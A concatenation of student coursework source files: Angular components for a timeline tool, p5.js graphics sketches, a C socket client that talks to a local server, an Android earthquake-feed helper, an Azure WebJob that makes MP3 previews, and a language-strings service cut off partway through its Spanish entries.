MatDialogRef, MAT_DIALOG_DATA } from '@angular/material'; import { AttachmentService } from '../../service/attachment/attachment.service'; import { HttpEventType, HttpResponse } from '@angular/common/http'; import { Observable } from 'rxjs/Rx'; import { LangService } from '../../service/lang/lang.service' import { MatSnackBar } from '@angular/material'; import { FeedbackComponent } from '../../component/feedback/feedback.component'; @Component({ selector: 'app-dialog-download', templateUrl: './dialog-download.component.html', styleUrls: ['./dialog-download.component.scss'] }) export class DialogDownloadComponent implements OnInit, OnDestroy { public fileList: any; public downloadObs = []; public getUrlsObs; constructor( public thisDialogRef: MatDialogRef<DialogDownloadComponent>, @Inject(MAT_DIALOG_DATA) public data, private AttachmentService:AttachmentService, public LangService: LangService, public feedback: MatSnackBar, ) { } ngOnInit() { this.fileList = this.data.selectedFiles this.downloadFiles(); } public finished: boolean = false; // turns to true once all downloads have finished public totalProg: number = 0; public totalLoaded: number = 0; public totalToLoad: number = 0; public timeLeft: string = ''; public downSpeed: number = 0; // down speed arr used to get average downspeed for more accurate time prediction public downSpeedArr = []; public secondsElapsed = 0; trackProgress(){ let prevLoaded = 0; let progressInterval = setInterval(()=>{ this.secondsElapsed++; let allDone = true; // if arr greater than 10 in length cut first value to keep accuracy (this.downSpeedArr.length > 10)? this.downSpeedArr.shift():null; this.downSpeedArr.push(this.totalLoaded - prevLoaded); let totalDownspeedArr = 0 for (let index = 0; index < this.downSpeedArr.length; index++) { totalDownspeedArr += this.downSpeedArr[index]; } for (let index = 0; index < this.fileList.length; index++) { if(this.fileList[index].Status == 0){allDone = false} } this.downSpeed = totalDownspeedArr/this.downSpeedArr.length; let remainingData = this.totalToLoad - this.totalLoaded; (this.downSpeed>0) ? this.timeLeft = ": "+(remainingData/this.downSpeed).toFixed(0)+"s": this.timeLeft=''; prevLoaded = this.totalLoaded; if(allDone){// if all done clear the interval clearInterval(progressInterval); this.finished = true; this.feedback.openFromComponent(FeedbackComponent, {data: {msg:"All files have finished downloading",progress:false}, duration:3500}); } }, 1000); } downloadFiles(){ this.totalProg = 0; let attachObsArr = []; for (let index = 0; index < this.fileList.length; index++) { const attachId = this.fileList[index].Id; attachObsArr.push(this.AttachmentService.genGetSignedUrl(attachId)); this.fileList[index].progress = 0; this.fileList[index].Total = 0; this.fileList[index].Loaded = 0; this.fileList[index].Status = 0; // 1 = done, 2 = error } this.getUrlsObs = Observable.forkJoin(attachObsArr).subscribe( (attachRespArr)=>{ this.trackProgress();// once have links ot files start tracking progress for (let index = 0; index < attachRespArr.length; index++) { const dlUrl = attachRespArr[index]; this.downloadObs.push( this.AttachmentService.downloadAttach(dlUrl.toString()).subscribe( (event) => { if (event.type === HttpEventType.DownloadProgress) { this.fileList[index].Loaded = (event.loaded/1024)/1024 ; this.fileList[index].Total = (event.total/1024)/1024; this.fileList[index].progress = Math.round(100 * event.loaded / event.total); let sum = 0; this.totalToLoad = 0; this.totalLoaded = 0; for (let index = 0; index < this.fileList.length; index++) { this.totalLoaded += this.fileList[index].Loaded; if(this.fileList[index].Status != 2){ // dont include error files this.totalToLoad += this.fileList[index].Total; } this.totalProg = Math.round(100 * this.totalLoaded / this.totalToLoad); } } else if (event instanceof HttpResponse) { this.fileList[index].Status = 1; // 1 status meens succesfuly complete let blob = new Blob([event.body]); let url = window.URL.createObjectURL(blob); let a = document.createElement("a"); a.style.display = 'none'; document.body.appendChild(a); a.href = url; a.download = this.fileList[index].Title; a.click(); setTimeout(()=>{ window.URL.revokeObjectURL(url); }, 100); }else if(event['ok'] == false ){ this.fileList[index].Status = 2; // 2 status meens error this.feedback.openFromComponent(FeedbackComponent, {data: {msg:"There was an error downloading one or more files, check connection and try again",progress:false}, duration:3500}); } } ) ) } }, (error)=>{ console.log(error); } ) } public areSureQuestion: boolean = false; onClose() { if(this.areSureQuestion || this.finished) { this.thisDialogRef.close(); }else{ this.areSureQuestion = true; } } ngOnDestroy(){ this.getUrlsObs.unsubscribe(); this.downloadObs.forEach(element => { element.unsubscribe(); }); } } <file_sep>/HNDGradedUnit/js/extras/misc/blackWhiteFrog/sketch.js var peng; function preload() { peng = loadImage("peng.jpg"); } function setup() { createCanvas(windowWidth, 400); pixelDensity(1); peng.loadPixels(); loadPixels(); } function draw() { if(mouseIsPressed) { for(var x = 0; x < width; x++) { for(var y = 0; y < height; y++) { //calculate 1D location from 2D grid var loc = (x+y*peng.width)*4; //get grayscale values from image var g; g = peng.pixels[loc]; //calculate an amount to change brightness based on proximity var maxdist = 100; var d = dist(x, y, mouseX, mouseY); var adjustbrightness = 255*(maxdist-d)/maxdist; g += adjustbrightness; //constrain grey to make sure values stay between 0 and 255 g = constrain(g, 0, 255); //apply greyscale values to current pixels var pixloc = (y*width + x)*4; pixels[pixloc] = g; pixels[pixloc + 1] = g; pixels[pixloc + 2] = g; pixels[pixloc + 3] = g; } } updatePixels(); } }<file_sep>/HNDGradedUnit/js/extras/walkers&movers/WindMovers/sketch.js var m = []; function setup() { createCanvas(windowWidth,250); for(var i = 0; i < 25; i++){ m[i] = new Mover(random(1,1.5)); } } function draw() { background(255); gravity = createVector(0,0.05); edge = createVector(width-100, height-100) axis = createVector(100,100) for(var i = 0; i < m.length; i++){ wind = p5.Vector.sub(axis, m[i].loc); wind.normalize(); wind.mult(1); m[i].applyForce(wind); counterWind = p5.Vector.sub(edge, m[i].loc); counterWind.normalize(); counterWind.mult(0.5); m[i].applyForce(counterWind); m[i].applyForce(gravity); m[i].update(); m[i].display(); } }<file_sep>/HNDGradedUnit/js/SmartRockets/smartRockets.js //declaring global variables var population, rocket, target; var lifespan = 400; var avgHits = 0; var count = 0; var hits = 0; var attempts = 0; var maxforce = 0.3; //declaring variables for barriers and sliders var rxa, rya, rwa, rha; var rxaSlider, ryaSlider, rwaSlider, rhaSlider; var rxb, ryb, rwb, rhb; var rxbSlider, rybSlider, rwbSlider, rhcSlider; var rxc, ryc, rwc, rhc; var rxcSlider, rycSlider, rwcSlider, rhcSlider; //runs before rest of program function setup() { //defines window size createCanvas(windowWidth, 600); //creates rockets, population and canvas rocket = new Rocket(); population = new Population(); target = createVector(width/2, 50); //creates barriers and sliders initiializeBarriers(); createSliders(); } function draw() { //sets background to white background(255); population.run(); //determining average hits to be displayed as text avgHits = hits/attempts; //drawing text for statistics push(); fill(0); text("Life:"+count+"/400", 10, 30); text("Hits: "+hits, 10, 60); text("Attempts: "+attempts, 10, 90); text("Average hits per attempt: "+avgHits, 10, 120); pop(); //displays text for sliders displayText(); count++; if (count == lifespan) { population.evaluate(); population.selection(); //population = new Population(); count = 0; attempts++; } //draws barriers leftBarrier(); rightBarrier(); topBarrier(); //draws target push(); strokeWeight(8); stroke(0, 0, 255); fill(255, 0, 0); ellipse(target.x, target.y, 32, 32); pop(); } function initiializeBarriers() { //sets all barriers to base position rxa = width/2 -100; rya = height-150; rwa = 10; rha = 150; rxb = width/2 +100; ryb = height-150; rwb = 10; rhb = 150; rxc = width/2 -50; ryc = height/2 +50; rwc = 100; rhc = 10; } function leftBarrier() { //manipulates left barrier according to slider values rxa = map(rxaSlider.value(), 0, 1000, width/2 -150, 0); rya = map(ryaSlider.value(), 0, 1000, height-150, 0); rwa = map(rwaSlider.value(), 0, 1000, 10, 100); rha = map(rhaSlider.value(), 0, 1000, 150, 300); rect(rxa, rya, rwa, rha); } function rightBarrier() { //manipulates right barrier according to slider values rxb = map(rxbSlider.value(), 0, 1000, width/2 +150, width); ryb = map(rybSlider.value(), 0, 1000, height-150, 0); rwb = map(rwbSlider.value(), 0, 1000, 10, 100); rhb = map(rhbSlider.value(), 0, 1000, 150, 300); rect(rxb, ryb, rwb, rhb); } function topBarrier() { //manipulates top barrier according to slider values rxc = map(rxcSlider.value(), 0, 1000, 0, width-rwc); ryc = map(rycSlider.value(), 0, 1000, 100, height-150); rwc = map(rwcSlider.value(), 0, 1000, 20, 200); rhc = map(rhcSlider.value(), 0, 1000, 10, 100); rect(rxc, ryc, rwc, rhc); } function createSliders() { //create sliders to change x and y locations of top barrier rxcSlider = createSlider(0,1000,500); rxcSlider.position(width-rxcSlider.width-20,10); rycSlider = createSlider(0,1000,500); rycSlider.position(width-rycSlider.width-20,35); //sliders for top slider width and height rwcSlider = createSlider(0, 1000, 1); rwcSlider.position(width-rwcSlider.width-20, 60); rhcSlider = createSlider(0, 1000, 1); rhcSlider.position(width-rhcSlider.width-20, 85); //sliders for left barrier x and y rxaSlider = createSlider(0, 1000, 1); rxaSlider.position(10, height - 100); ryaSlider = createSlider(0, 1000, 1); ryaSlider.position(10, height-75); //sliders for left barrier width and height rwaSlider = createSlider(0, 1000, 1); rwaSlider.position(10, height-50); rhaSlider = createSlider(0, 1000, 1); rhaSlider.position(10, height-25); //sliders for right barrier x and y rxbSlider = createSlider(0, 1000, 1); rxbSlider.position(width-rxbSlider.width-20, height - 100); rybSlider = createSlider(0, 1000, 1); rybSlider.position(width-rybSlider.width-20, height-75); //sliders for right barrier width and height rwbSlider = createSlider(0, 1000, 1); rwbSlider.position(width-rwbSlider.width-20, height-50); rhbSlider = createSlider(0, 1000, 1); rhbSlider.position(width-rhbSlider.width-20, height-25); } function displayText() { //displays text for sliders textSize(16); text("Top bar controls", rxcSlider.x , 124); text("X position ", rxcSlider.x - rxcSlider.width/2 -8 , 26); text("Y position ", rycSlider.x - rycSlider.width/2 -8 , 51); text("Width", rwcSlider.x - rwcSlider.width/2 -8, 76); text("Height", rhcSlider.x - rhcSlider.width/2 -8, 101); text("Left bar controls", rxaSlider.x , height-116); text("Right bar controls", rxbSlider.x , height-116); }<file_sep>/IntegratedProject/src/app/component/identity-bar/identity-bar.component.ts import { Component, OnInit } from '@angular/core'; import { DataTransferService } from '../../service/data-transfer/data-transfer.service' import { LangService } from '../../service/lang/lang.service' import { MatDialog, MatDialogRef, MAT_DIALOG_DATA } from '@angular/material'; import { DialogConfirmComponent } from '../../component/dialog-confirm/dialog-confirm.component'; import { FeedbackComponent } from '../../component/feedback/feedback.component'; import { MatSnackBar } from '@angular/material'; @Component({ selector: 'app-identity-bar', templateUrl: './identity-bar.component.html', styleUrls: ['./identity-bar.component.scss'] }) export class IdentityBarComponent implements OnInit { fullScreenActive: boolean = false; htmlTag = document.getElementById('html-tag'); constructor( public DataTransferService:DataTransferService, public dialog: MatDialog, public LangService:LangService, public feedback: MatSnackBar ) { } ngOnInit() {} toggleFullScreen() { this.fullScreenActive = !this.fullScreenActive; if(!this.fullScreenActive){ if(document.webkitExitFullscreen){ document.webkitExitFullscreen(); }else if (document['mozCancelFullScreen']) { document['mozCancelFullScreen'](); } else if(document.exitFullscreen){ document.exitFullscreen(); } }else{ if(this.htmlTag.webkitRequestFullscreen){ this.htmlTag.webkitRequestFullscreen(); }else if (this.htmlTag['mozRequestFullScreen']) { this.htmlTag['mozRequestFullScreen'](); } else if(this.htmlTag.requestFullscreen){ this.htmlTag.requestFullscreen(); } } } resetAppConfirm() { let dialogRef = this.dialog.open(DialogConfirmComponent, { width: '400px', data: {question:this.LangService.activeLanguage.identityResetAppQ} }); dialogRef.afterClosed().subscribe(result => { if(result == 'confirm'){ this.DataTransferService.activeTimelineKeys = []; this.DataTransferService.activeTimelines = []; this.DataTransferService.timelineRegisterVisibleSource.next(true); this.DataTransferService.moveData.moveActive = false; this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.identityAppReset,progress:false}, duration:3500}); } }) } }<file_sep>/HNDGradedUnit/js/extras/rotation/spiral/sketch.js var r; var theta; function setup() { createCanvas(500,250); background(255); r = 0; theta = 0; } function draw() { //polar coordinates (r, theta) are converted to Cartesian (x,y) for use in the ellipse() function. var x = r * cos(theta); var y = r * sin(theta); noStroke(); fill(0); ellipse(x+width/2, y+height/2, 16, 16); theta += 0.01; r += 0.05; }<file_sep>/SystemsProgrammingFinalAssessment/client/client.c #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <arpa/inet.h> #include <sys/utsname.h> #include "rdwrn.h" #define INPUTSIZ 10 typedef struct { int id_number; int age; float salary; } employee; typedef struct { char *nodename; char *sysname; char *release; char *version; char *machine; } utsname; void send_and_get_employee(int socket, employee *e) { size_t payload_length = sizeof(employee); writen(socket, (unsigned char *) &payload_length, sizeof(size_t)); writen(socket, (unsigned char *) e, payload_length); readn(socket, (unsigned char *) &payload_length, sizeof(size_t)); readn(socket, (unsigned char *) e, payload_length); printf("Age is %d\n", e->age); printf("id is %d\n", e->id_number); printf("Salary is %6.2f\n", e->salary); } void send_and_get_uname(int socket, utsname *uts) { size_t len = sizeof(utsname); struct utsname uts1; if (uname(&uts1) == -1) { perror("uname error"); exit(EXIT_FAILURE); } writen(socket, (unsigned char *) &len, sizeof(size_t)); writen(socket, (unsigned char *) &uts1, len); readn(socket, (unsigned char *) &len, sizeof(size_t)); readn(socket, (unsigned char *) &uts1, len); printf("Node name: %s\n", uts1.nodename); printf("System name: %s\n", uts1.sysname); printf("Release: %s\n", uts1.release); printf("Version: %s\n", uts1.version); printf("Machine: %s\n", uts1.machine); } void get_hello(int socket) { char hello_string[32]; size_t k; readn(socket, (unsigned char *) &k, sizeof(size_t)); readn(socket, (unsigned char *) hello_string, k); printf("Hello String: %s\n", hello_string); printf("Received: %zu bytes\n\n", k); } void get_id(int socket) { size_t k; readn(socket, (unsigned char *) &k, sizeof(size_t)); char stu_id[k]; readn(socket, (unsigned char *) stu_id, k); printf("%s\n", stu_id); } void get_time(int socket) { size_t k; readn(socket, (unsigned char *) &k, sizeof(size_t)); char time[k]; readn(socket, (unsigned char *) time, k); printf("Current servertime: %s", time); } char send_option(int socket) { char input[INPUTSIZ]; char option; printf("option> "); fgets(input, INPUTSIZ, stdin); input[strcspn(input, "\n")] = 0; option = input[0]; if (strlen(input) > 1) { option = 'x'; } size_t k = sizeof(char); writen(socket, (unsigned char *) &k, sizeof(size_t)); writen(socket, (unsigned char *) &option, k); return option; } void get_filenames(int socket) { size_t k; char *filelist; const char delim[1] = "*"; int count = 0; readn(socket, (unsigned char *) &k, sizeof(size_t)); char files[k]; readn(socket, (unsigned char *) files, k); filelist = strtok(files, delim); while(filelist != NULL) { count++; printf("File %d: %s\n", count, filelist); filelist = strtok(NULL, delim); } } void displaymenu() { printf("0. Display menu.\n"); printf("1. Obtain student ID and server IP.\n"); printf("2. Obtain server time.\n"); printf("3. Obtain server uname info.\n"); printf("4. Obtain file names in server upload directory.\n"); printf("5. Exit.\n"); } int main(void) { int sockfd = 0; struct sockaddr_in serv_addr; if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("Error - could not create socket"); exit(EXIT_FAILURE); } serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(50031); serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); if (connect(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) == -1) { perror("Error - connect failed"); exit(1); } else printf("Connected to server...\n"); char option; utsname *uts; uts = (utsname *) malloc(sizeof(utsname)); get_hello(sockfd); displaymenu(); do { option = send_option(sockfd); switch (option) { case '0': displaymenu(); break; case '1': printf("Option one.\n"); get_id(sockfd); break; case '2': printf("Option two.\n"); get_time(sockfd); break; case '3': printf("Option three.\n"); send_and_get_uname(sockfd, uts); break; case '4': printf("Option four.\n"); get_filenames(sockfd); break; case '5': printf("Goodbye!\n"); break; default: printf("Invalid choice - 0 displays options...!\n"); break; } } while (option != '5'); free(uts); employee *employee1; employee1 = (employee *) malloc(sizeof(employee)); employee1->age = 23; employee1->id_number = 3; employee1->salary = 13000.21; int i; for (i = 0; i < 5; i++) { printf("(Counter: %d)\n", i); send_and_get_employee(sockfd, employee1); printf("\n"); } free(employee1); close(sockfd); exit(EXIT_SUCCESS); } <file_sep>/IntegratedProject/src/app/app.component.ts import { Component,trigger,transition,style,animate, OnInit, state, ViewEncapsulation } from '@angular/core'; import { DataTransferService } from './service/data-transfer/data-transfer.service'; import { LangService } from './service/lang/lang.service' @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.scss'], animations: [ trigger('slideInOut', [ state('inactive', style({ transform: 'translateY(0%)' })), state('active', style({ transform: 'translateY(-100%)' })), transition('inactive => active', animate('225ms ease-in-out')), transition('active => inactive', animate('225ms ease-in-out')) ]) ] }) export class AppComponent { public timelineRegisterExpanded: boolean = true; public registerVisible; public selectedTabIndex; constructor( public DataTransferService:DataTransferService, public LangService: LangService, ){} ngOnInit() { this.DataTransferService.timelineRegisterVisibleSource.subscribe( (data)=>{ (data === true) ? this.registerVisible = 'inactive' : this.registerVisible = 'active'; } ) // everytime active timelines are changed this.DataTransferService.timelineKeyObs.subscribe( (data) => { if(data && data.type == 'add'){ // when adding timeline if not already on the list add it let tlId = data.timelineId; if(this.DataTransferService.activeTimelineKeys.indexOf(tlId) == -1){ (data) ? this.DataTransferService.activeTimelineKeys.push(tlId) : null; this.selectedTabIndex = this.DataTransferService.activeTimelineKeys.length-1; } }else if(data && data.type == 'del'){ // when deleting timeline if on the list find and delete let tlId = data.timelineId; let delIndex = this.DataTransferService.activeTimelineKeys.indexOf(tlId); if(delIndex != -1){ this.DataTransferService.activeTimelineKeys.splice(delIndex, 1); delete this.DataTransferService.activeTimelines[tlId]; } } } ) // theme observable subscriber here this.DataTransferService.currentTheme.subscribe( (selectedTheme)=>{ localStorage.setItem("theme", selectedTheme); for (let index = 0; index < document.getElementsByTagName('link').length; index++) { const link = document.getElementsByTagName('link')[index]; if(link.href.indexOf('/assets/css/') !== -1 && link.href.indexOf(selectedTheme) === -1){ setTimeout(()=>{ },100) } } var head = document.head; var link = document.createElement("link"); link.type = "text/css"; link.rel = "stylesheet"; link.href = './assets/css/'+selectedTheme+'.css'; head.appendChild(link) } ) } timelineTabClose(e, timelineKey){ e.stopPropagation(); delete this.DataTransferService.activeTimelines[timelineKey]; let delIndex = this.DataTransferService.activeTimelineKeys.indexOf(timelineKey); this.DataTransferService.activeTimelineKeys.splice(delIndex, 1); this.DataTransferService.deleteActiveTimeline(timelineKey); } } <file_sep>/MobilePlatformDevelopmentCoursework/app/src/main/java/com/mpd/s1712082coursework/ExpandableListDataPump.java package com.mpd.s1712082coursework; //<NAME> - S1712082 import java.util.ArrayList; import java.util.HashMap; import java.util.List; public class ExpandableListDataPump { public static HashMap<String, List<String>> getData(List<String> header, ArrayList<Item> quakeItems, HashMap<String, List<String>> eld) { int currentQuake = 0; for (Item earthquake : quakeItems) { header.add(trimTitle(earthquake.getTitle())); List<String> quakeData = new ArrayList<>(); quakeData.add(earthquake.getOrigin().trim()); quakeData.add(earthquake.getLocation().trim()); quakeData.add(earthquake.getLatLon().trim()); quakeData.add(earthquake.getDepth().trim()); quakeData.add(earthquake.getMagnitude().trim()); quakeData.add("Link: " + earthquake.getLink()); quakeData.add("Date: " + earthquake.getPubDate().toString()); quakeData.add("Category: " + earthquake.getCategory()); quakeData.add("Latitude: " + Double.toString(earthquake.getGeoLat()) + " | Longitude: " + Double.toString(earthquake.getGeoLong())); eld.put(header.get(currentQuake), quakeData); currentQuake++; } return eld; } public static HashMap<String, List<String>> getSingleItem(List<String> header, Item quakeItem, HashMap<String, List<String>> eld) { header.add(trimTitle(quakeItem.getTitle())); List<String> quakeData = new ArrayList<>(); quakeData.add(quakeItem.getOrigin().trim()); quakeData.add(quakeItem.getLocation().trim()); quakeData.add(quakeItem.getLatLon().trim()); quakeData.add(quakeItem.getDepth().trim()); quakeData.add(quakeItem.getMagnitude().trim()); quakeData.add("Link: " + quakeItem.getLink()); quakeData.add("Date: " + quakeItem.getPubDate().toString()); quakeData.add("Category: " + quakeItem.getCategory()); quakeData.add("Latitude: " + Double.toString(quakeItem.getGeoLat()) + " | Longitude: " + Double.toString(quakeItem.getGeoLong())); eld.put(header.get(0), quakeData); return eld; } private static String trimTitle(String originalTitle) { String temp = originalTitle.replaceAll("UK Earthquake alert : ", ""); String newTitle = temp.substring(temp.indexOf(":") + 1); newTitle.trim(); return newTitle; } private static String splitDescription(String description) { String[] sections = description.split(";"); String split = ""; for (String s : sections) { split += s.trim() + "\n"; } return split; } }<file_sep>/HNDGradedUnit/js/extras/misc/gradients/sketch.js function setup() { createCanvas(windowWidth, 400); background(0); pixelDensity(1); loadPixels(); } function draw() { if(mouseIsPressed){ for(var x = 0; x < width; x++) { for(var y = 0; y < height; y++) { var y1, mx, my; y1 = y; mx = mouseX/2; my = mouseY; y1 = constrain(y, 0, 255); mx = constrain(mx, 0, 255); my = constrain(my, 0, 255); var index = (x+y*width)*4; pixels[index + 0] = y1; pixels[index + 1] = mx; pixels[index + 2] = my; pixels[index + 3] = 150; } } updatePixels(); } }<file_sep>/IntegratedProject/src/app/interface/event.ts export interface TimelineListItem { Title: string; CreationTimeStamp: string; IsDeleted: boolean; Id: string; TenantId: string; TimelineEvents: Array<any> }<file_sep>/CloudPlatformDevelopmentCoursework2/SampleTables/SampleTables-WebJob/Functions.cs using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text; using System.Threading.Tasks; using Microsoft.Azure.WebJobs; using SampleTables.Models; using Microsoft.WindowsAzure.Storage.Table; using Microsoft.WindowsAzure.Storage; using NAudio.Wave; using Microsoft.WindowsAzure.Storage.Blob; namespace SampleTables_WebJob { public class Functions { // This class contains the application-specific WebJob code consisting of event-driven // methods executed when messages appear in queues with any supporting code. // Trigger method - run when new message detected in queue. "previewmaker" is name of queue. // "mp3gallery" is name of storage container; "mp3s" and "previews" are folder names. // "{queueTrigger}" is an inbuilt variable taking on value of contents of message automatically; // the other variables are valued automatically. public static void GenerateSample( [QueueTrigger("previewmaker")] String blobInfo, [Blob("mp3gallery/mp3s/{queueTrigger}")] CloudBlockBlob inputBlob, [Blob("mp3gallery/previews/{queueTrigger}")] CloudBlockBlob outputBlob, TextWriter logger) { //use log.WriteLine() rather than Console.WriteLine() for trace output logger.WriteLine("GeneratePreview() started..."); logger.WriteLine("Input blob is: " + blobInfo); // Open streams to blobs for reading and writing as appropriate. // Pass references to application specific methods using (Stream input = inputBlob.OpenRead()) using (Stream output = outputBlob.OpenWrite()) { //create 30 second sample CreateSample(input, output, 30); outputBlob.Properties.ContentType = "audio/mpeg3"; } var metaData = inputBlob.Metadata["Title"]; outputBlob.FetchAttributes(); outputBlob.Metadata["Title"] = metaData; outputBlob.SetMetadata(); logger.WriteLine("GeneratePreview() completed..."); } private static void ManageTable( [QueueTrigger("previewmaker")] SampleEntity sampleInQueue, [Table("Samples", "{PartitionKey}", "{RowKey}")] SampleEntity sampleInTable, [Table("Samples")] CloudTable tableBinding, TextWriter logger) { //get storage accounts and table name CloudStorageAccount storage = CloudStorageAccount.Parse("UseDevelopmentStorage=false"); CloudTableClient tableClient = storage.CreateCloudTableClient(); CloudTable table = tableClient.GetTableReference("Samples"); CloudBlobClient blobClient = storage.CreateCloudBlobClient(); //create new sample var sampleEntity = new SampleEntity() { PartitionKey = sampleInQueue.PartitionKey, RowKey = sampleInQueue.RowKey, Title = sampleInQueue.Title, Artist = sampleInQueue.Artist, Mp3Blob = sampleInQueue.Mp3Blob, SampleMp3Blob = sampleInQueue.SampleMp3Blob, CreatedDate = sampleInQueue.CreatedDate, SampleDate = sampleInQueue.SampleDate, SampleMp3Url = sampleInQueue.SampleMp3Url }; //add sample to table TableOperation insertOp = TableOperation.InsertOrMerge(sampleEntity); tableBinding.Execute(insertOp); } //Create a sample of specified duration private static void CreateSample(Stream input, Stream output, int duration) { using (var reader = new Mp3FileReader(input, wave => new NLayer.NAudioSupport.Mp3FrameDecompressor(wave))) { Mp3Frame frame; frame = reader.ReadNextFrame(); int frameTimeLength = (int)(frame.SampleCount / (double)frame.SampleRate * 1000.0); int framesRequired = (int)(duration / (double)frameTimeLength * 1000.0); int frameNumber = 0; while ((frame = reader.ReadNextFrame()) != null) { frameNumber++; if (frameNumber <= framesRequired) { output.Write(frame.RawData, 0, frame.RawData.Length); } else break; } } } } } <file_sep>/TakeItOrLeaveIt/Take_IT_Or_Leave_It/Form1.cs using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace Take_IT_Or_Leave_It { public partial class frmRules : Form { public frmRules() { InitializeComponent(); } private void btnStart_Click(object sender, EventArgs e) { //display the numbers form frmPlay frm = new frmPlay(); frm.Show(); } } } <file_sep>/HNDGradedUnit/js/extras/misc/smashedScreen/sketch.js function setup() { createCanvas(windowWidth, 400); background(0); pixelDensity(1); loadPixels(); } function draw() { if(mouseIsPressed) { for(var x = 0; x < width; x++) { for(var y = 0; y < height; y++) { var d = dist(x, y, mouseX, mouseY); var index = (x+y*y) * 4; pixels[index + 0] = d/2; pixels[index + 1] = d; pixels[index + 2] = d*2; pixels[index + 3] = d/2; } } updatePixels(); } }<file_sep>/IntegratedProject/src/app/service/lang/lang.service.ts import { Injectable } from '@angular/core'; @Injectable() export class LangService { activeLanguage = null; english = { selectTimeline:"Select a timeline", identityBarTitle:"Timeline Event Tool", identityLangSelect:"language select", identityChangeTheme:"change theme", identityToggleRegister:"toggle timeline register", identityIndigoPink:"Indigo Pink", identityPurpleGreen:"Purple Green", identityPurpleAmber:"Purple Amber", identityPinkGrey:"Pink Blue-Grey", identityFullScreen:"Toggle full screen", leftPaneAddBtn:"Add", leftPaneEditBtn:"Edit", leftPaneDeleteBtn:"Delete", leftPaneTableTitle:"Title", leftPaneTableDate:"Date", leftPaneTableEvents:"Events", leftPaneSearch:"Search", rightPaneAdd:"add first event", rightPaneSearch:"Search Events", rightPaneTree:"Tree", rightPaneDate:"Date", rightPaneMap:"Map", eventItemDownloadBtn:"Download", eventItemUploadBtn:"Upload", eventItemEditBtn:"Edit", eventItemDeleteBtn:"Delete", eventItemFileName:"Name", eventItemFileType:"Type", eventItemNoFilesMsg:"Click upload to upload files to this event", eventItemAddChildMsg:"add child event", eventItemEditEventMsg:"edit event", eventItemDeleteEventMsg:"delete event", eventItemUploadFileMsg:"upload attachments", feedBackCreatingEvent: "Creating event", feedBackEventCreated: "Event created", feedBackTlLinkFail: "Failed to link event to timeline", feedBackEventsLinkFail: "Failed to link event to event", feedBackCreateEventFail: "Failed to create event", feedBackFileNameChanged: "File title changed to ", feedBackFileNameChangedErr: "There was an error editing the file title ", feedBackDeletingFiles: "Deleting files", feedBackFilesDeleted: "Files deleted", feedBackDeletingEvents: "Deleting events", feedBackEventsDeleted: "Event's deleted", feedBackDeleteEventErr: "Unable to delete events", feedBackDeleteFilesErr: "There was an error deleting files", feedBackDeleteTimelineErr: "There was an error deleting timeline ", feedBackDeletedTimeline: "Timelines deleted", feedBackDeletingTimeline: "Deleting timeline", feedBackAddTimelineErr: "There was an error adding timeline for ", feedBackEditTimelineErr: "There was an error editing the timeline title", feedBackEditedTimeline: "Timeline title changed to ", feedBackEditingTimeline: "Editing timeline title to ", feedBackAddingTimeline: "Adding timeline for ", feedBackTimelineAdded: "Timeline added for ", feedBackTimelinesLoaded: "Timelines loaded", feedBackTimelinesGetFailed: "Unable to get timelines", feedBackEditingEvent: "Editing event", feedBackEditedEvent: "Event edited", feedBackEditEventErr: "Unable to edit event", confirmConfirm: "Confirm", confirmCancel: "Cancel", confirmDeleteEvent: "Are you sure you want to delete this event?", confirmDeleteFiles: "Are you sure you want to delete the selected files?", confirmDeleteTimeline: "Are you sure you want to delete the selected timelines?", textInEditingFile: "Editing file ", textInAddTimeline: "Create Timeline", textInEditTimeline: "Edit Timeline: ", dialogDownTitle: "Downloading Attachments", dialogDownCompIn: "Downloads completed in", dialogDownSec: "seconds", dialogDownAreSure: "Are you sure you want to close? Some files might still be downloading.", dialogUpTitle: "Uploading Attachments for ", dialogUpCompIn: "Uploads completed in", dialogUpSec: "seconds", dialogUpAreSure: "Are you sure you want to close? Some files might still be uploading.", dialogUpDownYes: "Yes", dialogUpDownNo: "No", dialogUpDownClose: "Close", eventDialogTitleNew:"Create Event", eventDialogTitleEdit:"Edit Event", eventDialogTitle:"Title", eventDialogSeverity:"Severity", eventDialogSeverityL:"Low", eventDialogSeverityM:"Medium", eventDialogSeverityH:"High", eventDialogTags:"Tags", eventDialogDescription:"Description", eventDialogNext:"Next", eventDialogBack:"Back", eventDialogLocation:"Location", eventDialogDate:"Date/Time", eventDialogCreate:"Create", eventDialogUpdate:"Update", eventDialogLongitude:"Longitude", eventDialogLatitude:"Latitude", treePartMoving:"Moving event", treePartMoved:"Event moved", treePartMoveFail:"Failed to move event", treePartMoveNot:"Event was not moved", identityResetAppQ:"Are you sure you want reset the application?", identityAppReset:"application reset", eventMovePt1:"Click a highlighted event to add ", eventMovePt2:" as a child", eventItemMoveTip:"Move event", textInOk:"Ok", textInCancel:"Cancel", eventDialogDescError:"events must have a description", eventDialogDisableLoc:"Disable locattion", eventLatReq:"latitude from -85 to 85", eventLonReq:"longitude from -180 to 180", eventLatErr:"Must be between -85 and 85", eventLonErr:"Must be between -180 and 180", eventDialogMustBeAfter:"must be after", eventDialogMustBeBefore:"must be before", confirmOnlyEvent:"Only this event", confirmAllEvent:"Event and all children", attachFail:"There was a problem retreiving a file", rightPaneBeforeDate:"Before date", rightPaneAfterDate:"After date", rightPaneAddEvent:"Add Event", rightPaneTagSearch:"Search Tags", } spanish = { selectTimeline: "Seleccionar una línea de tiempo", identityBarTitle: "Herramienta de evento de línea de tiempo", identityLangSelect: "selección de idioma", identityChangeTheme: "cambiar el tema", identityToggleRegister: "alternar registro de línea de tiempo", identityIndigoPink: "Indigo Pink", identityPurpleGreen: "Purple Green", identityPurpleAmber: "Purple Amber", identityPinkGrey: "Pink Blue-Gray", identityFullScreen:"Alternar pantalla completa", leftPaneAddBtn: "Agregar", leftPaneEditBtn: "Editar", 